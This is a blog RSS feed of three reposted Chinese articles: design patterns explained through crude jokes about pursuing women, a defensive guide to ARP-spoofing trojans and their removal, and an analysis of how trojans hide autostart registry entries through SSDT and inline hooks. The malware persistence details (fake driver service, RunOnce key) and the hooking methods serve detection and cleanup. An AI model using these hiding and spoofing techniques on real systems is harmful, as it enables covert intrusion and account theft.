<p>　　11、FLYWEIGHT—每天跟MM发短信，手指都累死了，最近买了个新手机，可以把一些常用的句子存在手机里，要用的时候，直接拿出来 ，在前面加上MM的名字就可以发送了，再不用一个字一个字敲了。共享的句子就是Flyweight，MM的名字就是提取出来的外部特征，根据上下文 情况使用。</p>
<p>　　　　享元模式：FLYWEIGHT在拳击比赛中指最轻量级。享元模式以共享的方式高效的支持大量的细粒度对象。享元模式能做到共享的关 键是区分内蕴状态和外蕴状态。内蕴状态存储在享元内部，不会随环境的改变而有所不同。外蕴状态是随环境的改变而改变的。外蕴状态不能 影响内蕴状态，它们是相互独立的。将可以共享的状态和不可以共享的状态从常规类中区分开来，将不可以共享的状态从类里剔除出去。客户 端不可以直接创建被共享的对象，而应当使用一个工厂对象负责创建被共享的对象。享元模式大幅度的降低内存中对象的数量。</p>
<p>　　12、PROXY—跟MM在网上聊天，一开头总是&#8220;hi,你好&#8221;,&#8220;你从哪儿来呀?&#8221;&#8220;你多大了?&#8221;&#8220;身高多少呀?&#8221;这些话，真烦人，写个程序 做为我的Proxy吧，凡是接收到这些话都设置好了自动的回答，接收到其他的话时再通知我回答，怎么样，酷吧。</p>
<p>　　　　代理模式：代理模式给某一个对象提供一个代理对象，并由代理对象控制对源对象的引用。代理就是一个人或一个机构代表另一个 人或者一个机构采取行动。某些情况下，客户不想或者不能够直接引用一个对象，代理对象可以在客户和目标对象直接起到中介的作用。客户 端分辨不出代理主题对象与真实主题对象。代理模式可以并不知道真正的被代理对象，而仅仅持有一个被代理对象的接口，这时候代理对象不 能够创建被代理对象，被代理对象必须有系统的其他角色代为创建并传入。</p>
<p>
<table style="border-right: #cccccc 1px dotted; table-layout: fixed; border-top: #cccccc 1px dotted; border-left: #cccccc 1px dotted; border-bottom: #cccccc 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0">
    <tbody>
        <tr>
            <td style="word-wrap: break-word" bgcolor="#f3f3f3"><font style="font-weight: bold; color: #990000">以下是引用片段：</font><br />
            　　　　public&nbsp;interface&nbsp;FactoryProxy{ <br />
            　　　　　　public&nbsp;People&nbsp;createBoy(); <br />
            　　　　　　 public&nbsp;People&nbsp;creteGirl(); <br />
            　　　　}</td>
        </tr>
    </tbody>
</table>
</p>
<p>　　13、CHAIN OF RESPONSIBLEITY—晚上去上英语课，为了好开溜坐到了最后一排，哇，前面坐了好几个漂亮的MM哎，找张纸条，写上 &#8220;Hi,可以做我的女朋友吗?如果不愿意请向前传&#8221;，纸条就一个接一个的传上去了，糟糕，传到第一排的MM把纸条传给老师了，听说是个老处 女呀，快跑!</p>
<p>　　　　责任链模式：在责任链模式中，很多对象由每一个对象对其下家的引用而接</p>
<p>　　　　起来形成一条链。请求在这个链上传递，直到链上的某一个对象决定处理此请求。客户并不知道链上的哪一个对象最终处理这个请 求，系统可以在不影响客户端的情况下动态的重新组织链和分配责任。处理者有两个选择：承担责任或者把责任推给下家。一个请求可以最终 不被任何接收端对象所接受。</p>
<p>　　14、COMMAND—俺有一个MM家里管得特别严，没法见面，只好借助于她弟弟在我们俩之间传送信息，她对我有什么指示，就写一张纸条 让她弟弟带给我。这不，她弟弟又传送过来一个COMMAND，为了感谢他，我请他吃了碗杂酱面，哪知道他说：&#8220;我同时给我姐姐三个男朋友送 COMMAND，就数你最小气，才请我吃面。&#8221;，</p>
<p>　　　　命令模式：命令模式把一个请求或者操作封装到一个对象中。命令模式把发出命令的责任和执行命令的责任分割开，委派给不同的 对象。命令模式允许请求的一方和发送的一方独立开来，使得请求的一方不必知道接收请求的一方的接口，更不必知道请求是怎么被接收，以 及操作是否执行，何时被执行以及是怎么被执行的。系统支持命令的撤消。</p>
15、INTERPRETER—俺有一个《泡MM真经》，上面有各种泡MM的攻略，比如说去吃西餐的步骤、去看电影的方法等等，跟MM约会时，只 要做一个Interpreter，照着上面的脚本执行就可以了。
<p>&nbsp;</p>
<p>　　　　解释器模式：给定一个语言后，解释器模式可以定义出其文法的一种表示，并同时提供一个解释器。客户端可以使用这个解释器来 解释这个语言中的句子。解释器模式将描述怎样在有了一个简单的文法后，使用模式设计解释这些语句。在解释器模式里面提到的语言是指任 何解释器对象能够解释的任何组合。在解释器模式中需要定义一个代表文法的命令类的等级结构，也就是一系列的组合规则。每一个命令对象 都有一个解释方法，代表对命令对象的解释。命令对象的等级结构中的对象的任何排列组合都是一个语言。</p>
<p>　　16、ITERATOR—我爱上了Mary，不顾一切的向她求婚。</p>
<p>　　　　Mary：&#8220;想要我跟你结婚，得答应我的条件&#8221;</p>
<p>　　　　我：&#8220;什么条件我都答应，你说吧&#8221;</p>
<p>　　　　Mary：&#8220;我看上了那个一克拉的钻石&#8221;</p>
<p>　　　　我：&#8220;我买，我买，还有吗?&#8221;</p>
<p>　　　　Mary：&#8220;我看上了湖边的那栋别墅&#8221;</p>
<p>　　　　我：&#8220;我买，我买，还有吗?&#8221;</p>
<p>　　　　Mary：&#8220;我看上那辆法拉利跑车&#8221;</p>
<p>　　　　我脑袋嗡的一声，坐在椅子上，一咬牙：&#8220;我买，我买，还有吗?&#8221;</p>
<p>　　　　&#8230;&#8230;</p>
<p>　　　　迭代子模式：迭代子模式可以顺序访问一个聚集中的元素而不必暴露聚集的内部表象。多个对象聚在一起形成的总体称之为聚集， 聚集对象是能够包容一组对象的容器对象。迭代子模式将迭代逻辑封装到一个独立的子对象中，从而与聚集本身隔开。迭代子模式简化了聚集 的界面。每一个聚集对象都可以有一个或一个以上的迭代子对象，每一个迭代子的迭代状态可以是彼此独立的。迭代算法可以独立于聚集角色 变化。</p>
<p>　　17、MEDIATOR—四个MM打麻将，相互之间谁应该给谁多少钱算不清楚了，幸亏当时我在旁边，按照各自的筹码数算钱，赚了钱的从我这 里拿，赔了钱的也付给我，一切就OK啦，俺得到了四个MM的电话。</p>
<p>　　　　调停者模式：调停者模式包装了一系列对象相互作用的方式，使得这些对象不必相互明显作用。从而使他们可以松散偶合。当某些 对象之间的作用发生改变时，不会立即影响其他的一些对象之间的作用。保证这些作用可以彼此独立的变化。调停者模式将多对多的相互作用 转化为一对多的相互作用。调停者模式将对象的行为和协作抽象化，把对象在小尺度的行为上与其他对象的相互作用分开处理。</p>
<p>　　18、MEMENTO—同时跟几个MM聊天时，一定要记清楚刚才跟MM说了些什么话，不然MM发现了会不高兴的哦，幸亏我有个备忘录，刚才与 哪个MM说了什么话我都拷贝一份放到备忘录里面保存，这样可以随时察看以前的记录啦。</p>
<p>　　　　备忘录模式：备忘录对象是一个用来存储另外一个对象内部状态的快照的对象。备忘录模式的用意是在不破坏封装的条件下，将一 个对象的状态捉住，并外部化，存储起来，从而可以在将来合适的时候把这个对象还原到存储起来的状态。</p>
<p>　　19、OBSERVER—想知道咱们公司最新MM情报吗?加入公司的MM情报邮件组就行了，tom负责搜集情报，他发现的新情报不用一个一个通知 我们，直接发布给邮件组，我们作为订阅者(观察者)就可以及时收到情报啦</p>
<p>　　　　观察者模式：观察者模式定义了一种一队多的依赖关系，让多个观察者对象同时监听某一个主题对象。这个主题对象在状态上发生 变化时，会通知所有观察者对象，使他们能够自动更新自己。<br />
　　20、STATE—跟MM交往时，一定要注意她的状态哦，在不同的状态时她的行为会有不同，比如你约她今天晚上去看电影，对你没兴趣的 MM就会说&#8220;有事情啦&#8221;，对你不讨厌但还没喜欢上的MM就会说&#8220;好啊，不过可以带上我同事么?&#8221;，已经喜欢上你的MM就会说&#8220;几点钟?看完电 影再去泡吧怎么样?&#8221;，当然你看电影过程中表现良好的话，也可以把MM的状态从不讨厌不喜欢变成喜欢哦。 </p>
<p>&nbsp;</p>
<p>　　　　状态模式：状态模式允许一个对象在其内部状态改变的时候改变行为。这个对象看上去象是改变了它的类一样。状态模式把所研究 的对象的行为包装在不同的状态对象里，每一个状态对象都属于一个抽象状态类的一个子类。状态模式的意图是让一个对象在其内部状态改变 的时候，其行为也随之改变。状态模式需要对每一个系统可能取得的状态创立一个状态类的子类。当系统的状态变化时，系统便改变所选的子 类。</p>
<p>　　21、STRATEGY—跟不同类型的MM约会，要用不同的策略，有的请电影比较好，有的则去吃小吃效果不错，有的去海边浪漫最合适，单目 的都是为了得到MM的芳心，我的追MM锦囊中有好多Strategy哦。</p>
<p>　　　　策略模式：策略模式针对一组算法，将每一个算法封装到具有共同接口的独立的类中，从而使得它们可以相互替换。策略模式使得 算法可以在不影响到客户端的情况下发生变化。策略模式把行为和环境分开。环境类负责维持和查询行为类，各种算法在具体的策略类中提供 。由于算法和环境独立开来，算法的增减，修改都不会影响到环境和客户端。</p>
<p>　　22、TEMPLATE METHOD——看过《如何说服女生上床》这部经典文章吗?女生从认识到上床的不变的步骤分为巧遇、打破僵局、展开追求 、接吻、前戏、动手、爱抚、进去八大步骤(Template method)，但每个步骤针对不同的情况，都有不一样的做法，这就要看你随机应变啦(具 体实现);</p>
<p>　　　　模板方法模式：模板方法模式准备一个抽象类，将部分逻辑以具体方法以及具体构造子的形式实现，然后声明一些抽象方法来迫使 子类实现剩余的逻辑。不同的子类可以以不同的方式实现这些抽象方法，从而对剩余的逻辑有不同的实现。先制定一个顶级逻辑框架，而将逻 辑的细节留给具体的子类去实现。</p>
<p>　　23、VISITOR—情人节到了，要给每个MM送一束鲜花和一张卡片，可是每个MM送的花都要针对她个人的特点，每张卡片也要根据个人的 特点来挑，我一个人哪搞得清楚，还是找花店老板和礼品店老板做一下Visitor，让花店老板根据MM的特点选一束花，让礼品店老板也根据每个 人特点选一张卡，这样就轻松多了;？</p>
<p>　　　　访问者模式：访问者模式的目的是封装一些施加于某种数据结构元素之上的操作。一旦这些操作需要修改的话，接受这个操作的数 据结构可以保持不变。访问者模式适用于数据结构相对未定的系统，它把数据结构和作用于结构上的操作之间的耦合解脱开，使得操作集合可 以相对自由的演化。访问者模式使得增加新的操作变的很容易，就是增加一个新的访问者类。访问者模式将有关的行为集中到一个访问者对象 中，而不是分散到一个个的节点类中。当使用访问者模式时，要将尽可能多的对象浏览逻辑放在访问者类中，而不是放到它的子类中。访问者 模式可以跨过几个类的等级结构访问属于不同的等级结构的成员类。</p>
<br />
---------转自：http://www.javass.cn/javapeixundesign/023.html
<img src ="http://www.blogjava.net/viking/aggbug/212924.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/viking/" target="_blank">viking</a> 2008-07-06 23:10 <a href="http://www.blogjava.net/viking/archive/2008/07/06/212924.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>关于arp病毒与清除方案（转）</title><link>http://www.blogjava.net/viking/archive/2008/07/02/212025.html</link><dc:creator>viking</dc:creator><author>viking</author><pubDate>Tue, 01 Jul 2008 16:29:00 GMT</pubDate><guid>http://www.blogjava.net/viking/archive/2008/07/02/212025.html</guid><wfw:comment>http://www.blogjava.net/viking/comments/212025.html</wfw:comment><comments>http://www.blogjava.net/viking/archive/2008/07/02/212025.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/viking/comments/commentRss/212025.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/viking/services/trackbacks/212025.html</trackback:ping><description><![CDATA[一、ARP病毒分析<br />
&nbsp; &nbsp;&nbsp;&nbsp;<a id="wikilink27" class="innerlink" href="http://www.cnpaf.net/forum/doc.php?action=view&amp;title=arp"  &nbsp;&nbsp;="" target="_blank">arp</a>病
毒，一种地址欺骗的病毒。当局域网内某台主机运行ARP欺骗的木马程序时，会骗欺局域域网内所有主机和路由器，让所有上网的流量必须经过病毒主机。其他用
户原来直接通过路由器上网现在转由通过病毒主机上网，切换的时候用户会断一次线。切换到病毒主机上网后，如果用户已经登陆了游戏服务器，那么病毒主机就会
经常伪造断线的假像，那么用户就得重新登录游戏服务器，这样病毒主机就可以盗号了。<br />
&nbsp; &nbsp;&nbsp;&nbsp;感染arp病毒故障现象：机器以前可正常上网的，突然出现可认证，不能上网的现象（无法ping通网关），重启机器或在MSDOS窗口下运行命令ARP -d后，又可恢复上网一段时间。<br />
<br />
&nbsp; &nbsp;&nbsp;&nbsp;二、ARP病毒故障原因：这是arp病毒欺骗攻击造成的。<br />
&nbsp; &nbsp;&nbsp;&nbsp;引起问题的原因一般是由传奇外挂携带的ARP病毒木马攻击。当在局域网内使用上述外挂时，外挂携带的病毒会将该机器的MAC地址映射到网关的<a id="wikilink28" class="innerlink" href="http://www.cnpaf.net/forum/doc.php?action=view&amp;title=IP"  &nbsp;&nbsp;="" target="_blank">IP</a>地址上，向局域网内大量发送ARP包，从而致使同一网段地址内的其它机器误将其作为网关，这就是为什么掉线时内网是互通的，计算机却不能上网的原因。<br />
<br />
&nbsp; &nbsp; 三、arp病毒临时处理对策：<br />
<br />
步骤一. 在能上网时，进入MS-DOS窗口，输入命令：arp &#8211;a 查看网关IP对应的正确MAC地址，将其记录下来。<br />
注：如果已经不能上网，则先运行一次命令arp &#8211;d将arp缓存中的内容删空，计算机可暂时恢复上网（攻击如果不停止的话），一旦能上网就立即将网络断掉（禁用网卡或拔掉网线），再运行arp &#8211;a。<br />
&nbsp; &nbsp;&nbsp;&nbsp;步骤二.
如果已经有网关的正确MAC地址，在不能上网时，手工将网关IP和正确MAC绑定，可确保计算机不再被攻击影响。手工绑定可在MS-DOS窗口下运行以下
命令： arp &#8211;s 网关IP 网关MAC
例如：假设计算机所处网段的网关为218.197.192.254，本机地址为218.197.192.1在计算机上运行arp &#8211;a后输出如下：<br />
C:\Documents and Settings&gt;arp -a Interface: 218.197.192.1 --- 0x2 <a id="wikilink29" class="innerlink" href="http://www.cnpaf.net/forum/doc.php?action=view&amp;title=Internet"  &nbsp;&nbsp;="" target="_blank">Internet</a> Address Physical Address Type<br />
218.197.192.254 00-01-02-03-04-05 dynamic
其中00-01-02-03-04-05就是网关218.197.192.254对应的MAC地址，类型是动态（dynamic）的，因此是可被改变。被
攻击后，再用该命令查看，就会发现该MAC已经被替换成攻击机器的MAC，如果大家希望能找出攻击机器，彻底根除攻击，可以在此时将该MAC记录下来，为
以后查找做准备。 手工绑定的命令为： arp &#8211;s 218.197.192.254 00-01-02-03-04-05 绑定完，可再用arp
&#8211;a查看arp缓存， C:\Documents and Settings&gt;arp -a Interface: 218.197.192.1
--- 0x2 Internet Address Physical Address Type 218.197.192.254
00-01-02-03-04-05 static
这时，类型变为静态（static），就不会再受攻击影响了。但是，需要说明的是，手工绑定在计算机关机重开机后就会失效，需要再绑定。所以，要彻底根除
攻击，只有找出网段内被病毒感染的计算机，令其杀毒，方可解决。找出病毒计算机的方法：
如果已有病毒计算机的MAC地址，可使用NBTSCAN软件找出网段内与该MAC地址对应的IP，即病毒计算机的IP地址，然后可报告校网络中心对其进行
查封。
NBTSCAN的使用方法：下载nbtscan.rar到硬盘后解压，然后将cygwin1.dll和nbtscan.exe两文件拷贝到
c:\windows\system32(或system)下，进入MSDOS窗口就可以输入命令： nbtscan -r
218.197.192.0/24
（假设本机所处的网段是218.197.192，掩码是255.255.255.0；实际使用该命令时，应将斜体字部分改为正确的网段） 。<br />
注：使用nbtscan时，有时因为有些计算机安装<a id="wikilink30" class="innerlink" href="http://www.cnpaf.net/forum/doc.php?action=view&amp;title=%E9%98%B2%E7%81%AB%E5%A2%99"  &nbsp;&nbsp;="" target="_blank">防火墙</a>软件，nbtscan的输出不全，但在计算机的arp缓存中却能有所反应，所以使用nbtscan时，还可同时查看arp缓存，就能得到比较完全的网段内计算机IP与MAC的对应关系。<br />
补充一下：<br />
Anti ARP <a id="wikilink31" class="innerlink" href="http://www.cnpaf.net/forum/doc.php?action=view&amp;title=Sniffer"  &nbsp;&nbsp;="" target="_blank">Sniffer</a> 使用说明<br />
1、功能说明: 使用Anti ARP Sniffer可以防止利用ARP技术进行数据包截取以及防止利用ARP技术发送地址冲突数据包。<br />
2、使用说明：<br />
1、ARP欺骗：
填入网关IP地址，点击［获取网关mac地址］将会显示出网关的MAC地址。点击[自动防护]即可保护当前网卡与该网关的通信不会被第三方监听。
注意：如出现ARP欺骗提示，这说明攻击者发送了ARP欺骗数据包来获取网卡的数据包，如果您想追踪攻击来源请记住攻击者的MAC地址，利用MAC地址扫
描器可以找出IP 对应的MAC地址。<br />
2、IP地址冲突 首先点击&#8220;恢复默认&#8221;然后点击&#8220;防护地址冲突&#8221;。
如频繁的出现IP地址冲突，这说明攻击者频繁发送ARP欺骗数据包，才会出现IP冲突的警告，利用Anti ARP Sniffer可以防止此类攻击。
首先您需要知道冲突的MAC地址，Windows会记录这些错误。查看具体方法如下：<br />
右击[我的电脑]--&gt;[管理]--&gt;点击[事件查看器]--&gt;点击[系统]--&gt;查看来源为[TcpIP]---&gt;双击
事件可以看到显示地址发生冲突，并记录了该MAC地址，请复制该MAC地址并填入Anti ARP
Sniffer的本地MAC地址输入框中(请注意将:转换为-)，输入完成之后点击[防护地址冲突]，为了使MAC地址生效请禁用本地网卡然后再启用网
卡，在CMD命令行中输入Ipconfig
/all，查看当前MAC地址是否与本地MAC地址输入框中的MAC地址相符。如果成功将不再会显示地址冲突。
注意:如果您想恢复默认MAC地址,请点击[恢复默认],为了使MAC地址生效请禁用本地网卡然后再启用网卡。<br />
<br />
&nbsp; &nbsp;&nbsp;&nbsp;四、定位arp病毒攻击源头和防御方法 <br />
1．定位arp病毒攻击源头 <br />
主动定位方式：因为所有的arp病毒攻击源都会有其特征——网卡会处于混杂模式，可以通过ARPKiller这样的工具扫描网内有哪台机器的网卡是处于混杂模式的，从而判断这台机器有可能就是&#8220;元凶&#8221;。定位好机器后，再做病毒信息收集，提交给趋势科技做分析处理。 <br />
标注：网卡可以置于一种模式叫混杂模式（promiscuous），在这种模式下工作的网卡能够收到一切通过它的数据，而不管实际上数据的目的地址是不是它。这实际就是Sniffer工作的基本原理：让网卡接收一切它所能接收的数据。 <br />
<br />
被动定位方式：在局域网发生arp病毒攻击时，查看交换机的动态ARP表中的内容，确定攻击源的MAC地址；也可以在局域居于网中部署Sniffer工具，定位arp病毒攻击源的MAC。 <br />
也可以直接Ping网关IP，完成Ping后，用ARP &#8211;a查看网关IP对应的MAC地址，此MAC地址应该为欺骗的MAC。 <br />
使用NBTSCAN可以取到PC的真实IP地址、机器名和MAC地址，如果有&#8221;ARP攻击&#8221;在做怪，可以找到装有ARP攻击的PC的IP、机器名和MAC地址。 <br />
<br />
命令：&#8220;nbtscan -r 192.168.16.0/254&#8221;（搜索整个192.168.16.0/254网段,
即192.168.16.1-192.168.16.254）；或&#8220;nbtscan
192.168.16.25-137&#8221;搜索192.168.16.25-137
网段，即192.168.16.25-192.168.16.137。输出结果第一列是IP地址，最后一列是MAC地址。 <br />
NBTSCAN的使用范例： <br />
假设查找一台MAC地址为&#8220;000d870d585f&#8221;的病毒主机。 <br />
1）将压缩包中的nbtscan.exe 和cygwin1.dll解压缩放到c:下。 <br />
2）在Windows开始—运行—打开，输入cmd（windows98输入&#8220;command&#8221;），在出现的DOS窗口中输入：C: btscan -r 192.168.16.1/24（这里需要根据用户实际网段输入），回车。 <br />
3）通过查询IP--MAC对应表，查出&#8220;000d870d585f&#8221;的病毒主机的IP地址为&#8220;192.168.16.223&#8221;。 <br />
通过上述方法，我们就能够快速的找到病毒源，确认其MAC——〉机器名和IP地址。 <br />
2．防御方法 <br />
a.使用可防御arp病毒攻击的三层交换机，绑定端口-MAC-IP，限制ARP流量，及时发现并自动阻断ARP攻击端口，合理划分<a id="wikilink32" class="innerlink" href="http://www.cnpaf.net/forum/doc.php?action=view&amp;title=VLAN"  &nbsp;&nbsp;="" target="_blank">VLAN</a>，彻底阻止盗用IP、MAC地址，杜绝ARP的攻击。 <br />
b.对于经常爆发病毒的网络，进行Internet访问控制，限制用户对网络的访问。此类ARP攻击程序一般都是从Internet下载到用户终端，如果能够加强用户上网的访问控制，就能极大的减少该问题的发生。 <br />
<br />
c.在发生ARP攻击时，及时找到病毒攻击源头，并收集病毒信息，可以使用趋势科技的SIC2.0，同时收集可疑的病毒样本文件，一起提交到趋势科技的TrendLabs进行分析，TrendLabs将以最快的速度提供病毒码文件，从而可以进行ARP病毒的防御。 <br />
<br />
<br />
ARP病毒运作基理: <br />
1.LOADHW.EXE 执行时会释放两个组件npf.sys 和msitinit.dll . <br />
LOADHW.EXE释放组件后即终止运行. <br />
注意: 病毒假冒成winPcap的驱动程序,并提供winPcap的功能. 客户若原先装有winPcap, <br />
npf.sys将会被病毒文件覆盖掉. <br />
2.随后msitinit.dll将npf.sys注册(并监视)为内核级驱动设备: "NetGroup Packet Filter Driver" <br />
msitinit.dll 还负责发送指令来操作驱动程序npf.sys (如发送arp欺骗包, 抓包, 过滤包等) <br />
以下从病毒代码中提取得服务相关值: <br />
BinaryPathName = "system32\drivers\npf.sys"StartType =
SERVICE_AUTO_STARTServiceType= SERVICE_KERNEL_DRIVERDesiredAccess=
SERVICE_ALL_ACCESSDisplayName = "NetGroup Packet Filter
Driver"ServiceName = "Npf" <br />
3. npf.sys 负责监护msitinit.dll. 并将LOADHW.EXE注册为自启动程序: <br />
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce] <br />
dwMyTest =LOADHW.EXE <br />
注: 由于该项位于RunOnce下,该注册表启动项在每次执行后,即会被系统自动删除.<br />
<br />
------------------------------------------------------<br />
转自 中国协议分析网 http://www.cnpaf.net/forum/thread-24200-1-4.html<br />
<img src ="http://www.blogjava.net/viking/aggbug/212025.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/viking/" target="_blank">viking</a> 2008-07-02 00:29 <a href="http://www.blogjava.net/viking/archive/2008/07/02/212025.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>疱丁解马－木马查杀深度剖析之自启动项篇（六）（转）</title><link>http://www.blogjava.net/viking/archive/2008/06/28/211363.html</link><dc:creator>viking</dc:creator><author>viking</author><pubDate>Sat, 28 Jun 2008 10:19:00 GMT</pubDate><guid>http://www.blogjava.net/viking/archive/2008/06/28/211363.html</guid><wfw:comment>http://www.blogjava.net/viking/comments/211363.html</wfw:comment><comments>http://www.blogjava.net/viking/archive/2008/06/28/211363.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/viking/comments/commentRss/211363.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/viking/services/trackbacks/211363.html</trackback:ping><description><![CDATA[<p style="margin: 0cm 0cm 0pt; line-height: 150%"><strong><span style="color: blue"><font face="Times New Roman">4</font></span></strong><strong><span style="color: blue; font-family: 宋体">、自启动项的隐藏、保护与查杀</span></strong></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">自启动项的隐藏与保护，跟进程的差不多，不外乎还是</span><font face="Times New Roman">HOOK</font><span style="font-family: 宋体">，系统提供给程序开发人员对注册表操作的功能函数常用的有如下几个：</span><font face="Times New Roman">RegCreateKey </font><span style="font-family: 宋体">、</span><font face="Times New Roman">RegOpenKey</font><span style="font-family: 宋体">用于打开创建注册键；</span><font face="Times New Roman">RegDeleteKey</font><span style="font-family: 宋体">、</span><font face="Times New Roman">RegDeleteValue</font><span style="font-family: 宋体">用于删除注册键及注册值；</span><font face="Times New Roman">RegEnumKey</font><span style="font-family: 宋体">、</span><font face="Times New Roman">RegEnumValue</font><span style="font-family: 宋体">用于枚举注册键及注册值；还有</span><font face="Times New Roman">RegQueryValu</font><span style="font-family: 宋体">来获取值。另外还有一套</span><font face="Times New Roman">*Ex</font><span style="font-family: 宋体">函数，其实功能都是一样的。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">而系统查看或删除注册键与值时，也是用的上面的几个</span><font face="Times New Roman">API</font><span style="font-family: 宋体">。而上面的一些个</span><font face="Times New Roman">API</font><span style="font-family: 宋体">是用于应用层的，它们又会调用系统内核中的</span><font face="Times New Roman">Nt*</font><span style="font-family: 宋体">系统的功能服务来进行接下来的处理（</span><font face="Times New Roman">*</font><span style="font-family: 宋体">代表了</span><font face="Times New Roman">Nt</font><span style="font-family: 宋体">开头的那些与注册表相关的系统服务），而</span><font face="Times New Roman">Nt*</font><span style="font-family: 宋体">系统服务又调用了</span><font face="Times New Roman">Cm*</font><span style="font-family: 宋体">底层功能代码来进行操作，当然了，最终的操作都要实现在</span><font face="Times New Roman">HIVE</font><span style="font-family: 宋体">文件上面去。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">进程篇中的</span><font face="Times New Roman">SSDT-HOOK</font><span style="font-family: 宋体">、</span><font face="Times New Roman">SSDT-INLINE</font><span style="font-family: 宋体">—</span><font face="Times New Roman">HOOK</font><span style="font-family: 宋体">在注册表</span><font face="Times New Roman">HOOK</font><span style="font-family: 宋体">时是完全有效的，</span><font face="Times New Roman">HOOK</font><span style="font-family: 宋体">应用层的</span><font face="Times New Roman">RegCreateKey</font><span style="font-family: 宋体">、</span><font face="Times New Roman">RegOpenKey</font><span style="font-family: 宋体">或</span><font face="Times New Roman">RegDeleteKey</font><span style="font-family: 宋体">都可以实现注册键的防删除，而</span><font face="Times New Roman">HOOK RegEnumKey</font><span style="font-family: 宋体">就可以实现注册键的隐藏，这种</span><font face="Times New Roman">HOOK</font><span style="font-family: 宋体">可以对付系统与大多数应用层的安全工具的检查；而</span><font face="Times New Roman">HOOK NtCreateKey</font><span style="font-family: 宋体">等则同样可以实现隐藏与防删除且层次更深，而</span><font face="Times New Roman">HOOK Cm*</font><span style="font-family: 宋体">系统注册表操作函数，则更加邪恶，且已经有这类程序出现。总之，在注册表操作的任何一个环节进行</span><font face="Times New Roman">HOOK</font><span style="font-family: 宋体">，都可以实现隐藏与防删除的目的。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">我们再来看看图</span><font face="Times New Roman">03-33</font><span style="font-family: 宋体">：</span></p>
<br />
 <img height="395" alt="" src="http://laiba.tianya.cn/laiba/images/37007/09487204831182855387/A/1/l.jpg" width="500" onload="javascript : img_auto_size(this,500,true);" align="center" boder="0" /><br />
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">在安装了著名的虚拟光驱程序</span><font face="Times New Roman">Daemon Tools</font><span style="font-family: 宋体">后，此工具的驱动会禁止用户删除其注册项，</span><font face="Times New Roman">SPTD.sys</font><span style="font-family: 宋体">就是它的驱动。再看下图</span><font face="Times New Roman">03-34</font><span style="font-family: 宋体">：</span></p>
<br />
 <img height="380" alt="" src="http://laiba.tianya.cn/laiba/images/37007/09487204811669530922/A/1/l.jpg" width="500" onload="javascript : img_auto_size(this,500,true);" align="center" boder="0" /><br />
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">打开狙剑，选择&#8220;扩展功能&#8221;</span><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">&#8220;</span><font face="Times New Roman">SSDT</font><span style="font-family: 宋体">检查&#8221;就可以看到</span><font face="Times New Roman">sptd.sys</font><span style="font-family: 宋体">对注册表相关函数的</span><font face="Times New Roman">HOOK</font><span style="font-family: 宋体">。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">有了进程篇的相关例子，这里就不再细说了，原理都是一样的，还有对</span><font face="Times New Roman">Inline-HOOK</font><span style="font-family: 宋体">的检测可以用&#8220;内核代码扫描&#8221;。内核代码扫描不仅能找到</span><font face="Times New Roman">Inline-HOOK Nt*</font><span style="font-family: 宋体">系列函数木马，同样能找到</span><font face="Times New Roman">Inline-HOOK Cm*</font><span style="font-family: 宋体">系列函数的木马。只不过</span><font face="Times New Roman">HOOK Cm*</font><span style="font-family: 宋体">系统函数的木马层次更深一些而已。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">而如果直接用狙剑的自启动项管理对自启动项进行操作，则无须手动检查与恢复</span><font face="Times New Roman">HOOK</font><span style="font-family: 宋体">，狙剑在扫描与清除自启动项时，会自动恢复相关的</span><font face="Times New Roman">HOOK</font><span style="font-family: 宋体">（有些</span><font face="Times New Roman">HOOK</font><span style="font-family: 宋体">有防恢复机制，也很难用手工来恢复，所以也就没必要非手工恢复它，交给工具去做就可以了）。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">注册表由于其特殊性，使得我们多了一个检查与清除木马自启动项的终极手段，那就是直接操作</span><font face="Times New Roman">HIVE</font><span style="font-family: 宋体">文件，当然了，</span><font face="Times New Roman">HIVE</font><span style="font-family: 宋体">文件的重要性使得系统对其保护很严密，这对直接操作</span><font face="Times New Roman">HIVE</font><span style="font-family: 宋体">文件造成了一定的麻烦，而风险性也进一步的提高。这使得当前绝大多数安全软件，对操作</span><font face="Times New Roman">HIVE</font><span style="font-family: 宋体">文件来查杀木马都望而却步，但其效果却无疑是目前最好的。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">我们先看看下图</span><font face="Times New Roman">03-35</font><span style="font-family: 宋体">：</span></p>
<br />
 <img height="407" alt="" src="http://laiba.tianya.cn/laiba/images/37007/09487204800079870706/A/1/l.jpg" width="500" onload="javascript : img_auto_size(this,500,true);" align="center" boder="0" /><br />
<br />

